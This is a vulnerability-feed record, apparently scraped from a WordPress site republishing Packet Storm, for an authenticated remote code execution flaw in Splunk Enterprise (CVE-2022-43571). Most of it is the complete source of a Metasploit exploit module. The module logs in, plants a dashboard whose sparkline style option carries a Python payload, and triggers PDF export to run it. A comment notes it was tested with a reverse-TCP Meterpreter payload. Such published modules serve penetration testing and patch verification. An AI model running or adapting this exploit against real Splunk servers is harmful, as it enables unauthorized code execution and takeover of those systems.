{“lastseen”:”2026-01-21T15:43:36″,”description”:”This Metasploit module exploits a remote code execution vulnerability in Splunk Enterprise. An attacker can inject arbitrary Python code into style parameters, such as the fillColor or lineColor of a sparkline element within a Splunk SimpleXML…”,”published”:”2026-01-21T00:00:00″,”modified”:”2026-01-21T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Splunk Enterprise 8.2.9 \/ 9.0.2 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:214133″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2022-43571″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::Remote::HTTP::Splunk\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Authenticated RCE in Splunk (SimpleXML dashboard PDF generation)’,\\n ‘Description’ =\\u003e %q{\\n This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.\\n \\n An attacker can inject arbitrary Python code into style parameters, such as the fillColor or lineColor of a sparkline element within a Splunk SimpleXML dashboard.\\n The malicious code is executed when a user triggers the PDF export function for the dashboard.\\n \\n The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Maksim Rogov’, # Metasploit Module\\n ‘Danylo Dmytriiev’, # Vulnerability Discovery\\n ‘psytester’ # Public Exploit\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2022-43571’],\\n [‘URL’, ‘https:\/\/advisory.splunk.com\/advisories\/SVD-2022-1111’],\\n [‘URL’, ‘https:\/\/web.archive.org\/web\/20221218233608\/https:\/\/psytester.github.io\/CVE-2022-43571_SPLUNK_RCE\/’]\\n ],\\n ‘Platform’ =\\u003e [‘python’],\\n ‘Arch’ =\\u003e [ARCH_PYTHON],\\n ‘Targets’ =\\u003e [\\n [\\n ‘Splunk \\u003c 8.1.12, 8.2.9, and 9.0.2 \/ Python payload’,\\n {\\n # Tested with python\/meterpreter\/reverse_tcp\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2022-11-02’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION]\\n }\\n )\\n )\\n \\n register_options(\\n [\\n OptString.new(‘TARGETURI’, [true, ‘Path to the Splunk App’, ‘\/’]),\\n OptString.new(‘USERNAME’, [ true, ‘The username with admin role to authenticate as’, ‘admin’ ]),\\n OptString.new(‘PASSWORD’, [ true, ‘The password for the specified username’]),\\n OptBool.new(‘USE_INLINE_SPLUNK_QUERY’, [true, ‘By default, the exploit uses a simple query using system indexes (such as _internal). This option can be useful if those indexes are empty’, false ])\\n ]\\n )\\n end\\n \\n def gen_inline_splunk_query\\n row_id_name = Rex::Text.rand_text_alphanumeric(8..16)\\n arr_field = Rex::Text.rand_text_alpha(8..16)\\n \\n rand_count = rand(100..500)\\n step = rand(2..15)\\n \\n col_count = rand(3..10)\\n column_names = col_count.times.map { Rex::Text.rand_text_alphanumeric(8..16) }\\n \\n delimiter = [‘;’, ‘|’, ‘:’, ‘#’, ‘!’].sample\\n names_string = column_names.join(delimiter)\\n \\n \\u003c\\u003c~SPL.strip\\n | makeresults count=#{rand_count}\\n | streamstats count as #{row_id_name}\\n | eval _time = now() – (#{row_id_name} * #{step}),\\n #{arr_field} = split(\\”#{names_string}\\”, \\”#{delimiter}\\”),\\n sourcetype = mvindex(#{arr_field}, #{row_id_name} % #{col_count})\\n | chart sparkline count by sourcetype\\n SPL\\n end\\n \\n def get_system_index_splunk_query\\n rand_tail = rand(100..200)\\n index = [‘_internal’, ‘_audit’, ‘_introspection’].sample\\n \\n \\”index=#{index} | tail #{rand_tail} | chart sparkline count by sourcetype\\”\\n end\\n \\n def get_malicious_dashboard_template(payload)\\n splunk_query = datastore[‘USE_INLINE_SPLUNK_QUERY’] ? gen_inline_splunk_query : get_system_index_splunk_query\\n style_param = [‘lineColor’, ‘fillColor’].sample\\n escaped_payload = CGI.escapeHTML(payload)\\n \\n dash_template = \\u003c\\u003c~XSL\\n \\u003cdashboard\\u003e\\n \\u003crow\\u003e\\n \\u003cpanel\\u003e\\n \\u003ctable\\u003e\\n \\u003csearch\\u003e\\n \\u003cquery\\u003e\\n #{splunk_query}\\n \\u003c\/query\\u003e\\n \\u003c\/search\\u003e\\n \\u003cformat field=\\”sparkline\\” type=\\”sparkline\\”\\u003e\\n \\u003coption name=\\”#{style_param}\\”\\u003e#{escaped_payload}\\u003c\/option\\u003e\\n \\u003c\/format\\u003e\\n \\u003c\/table\\u003e\\n \\u003c\/panel\\u003e\\n \\u003c\/row\\u003e\\n \\u003c\/dashboard\\u003e\\n XSL\\n \\n # delete spaces\\n dash_template.gsub(\/^\\\\s+\/, ”)\\n end\\n \\n def cleanup\\n super\\n delete_dashboard(@target_app, @dash_name, @cookie)\\n rescue Msf::Exploit::Failed\\n print_warning(\\”Module failed to delete the dashboard, \\\\\\”#{@dash_name}\\\\\\”, which was created by the exploit\\”)\\n end\\n \\n def check\\n @cookie = splunk_login(datastore[‘USERNAME’], datastore[‘PASSWORD’])\\n version = splunk_home_version(@cookie)\\n if version.between?(Rex::Version.new(‘8.1.0’), Rex::Version.new(‘8.1.11’)) ||\\n version.between?(Rex::Version.new(‘8.2.0’), Rex::Version.new(‘8.2.8’)) ||\\n version.between?(Rex::Version.new(‘9.0.0’), Rex::Version.new(‘9.0.1’))\\n return CheckCode::Appears(\\”Exploitable version found: #{version}\\”)\\n end\\n \\n return CheckCode::Safe(\\”Non-vulnerable version found: #{version}\\”) if !version.nil?\\n \\n return CheckCode::Unknown(‘Target does not appear to be a Splunk instance’)\\n end\\n \\n def exploit\\n if @cookie.nil?\\n @cookie = splunk_login(datastore[‘USERNAME’], datastore[‘PASSWORD’])\\n end\\n \\n template = get_malicious_dashboard_template(payload.encoded)\\n \\n @target_app = get_random_app(@cookie, enabled: true)\\n @dash_name = Rex::Text.rand_text_alphanumeric(8..16)\\n \\n create_dashboard(@target_app, @dash_name, template, @cookie)\\n begin\\n export_dashboard(@target_app, @dash_name, @cookie)\\n rescue StandardError\\n nil\\n end\\n end\\n \\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214133″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214133\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-21T15:43:36″,”description”:”This Metasploit module exploits a remote code execution vulnerability in Splunk Enterprise. An attacker can inject arbitrary Python code into style parameters, such as the…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-36702","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n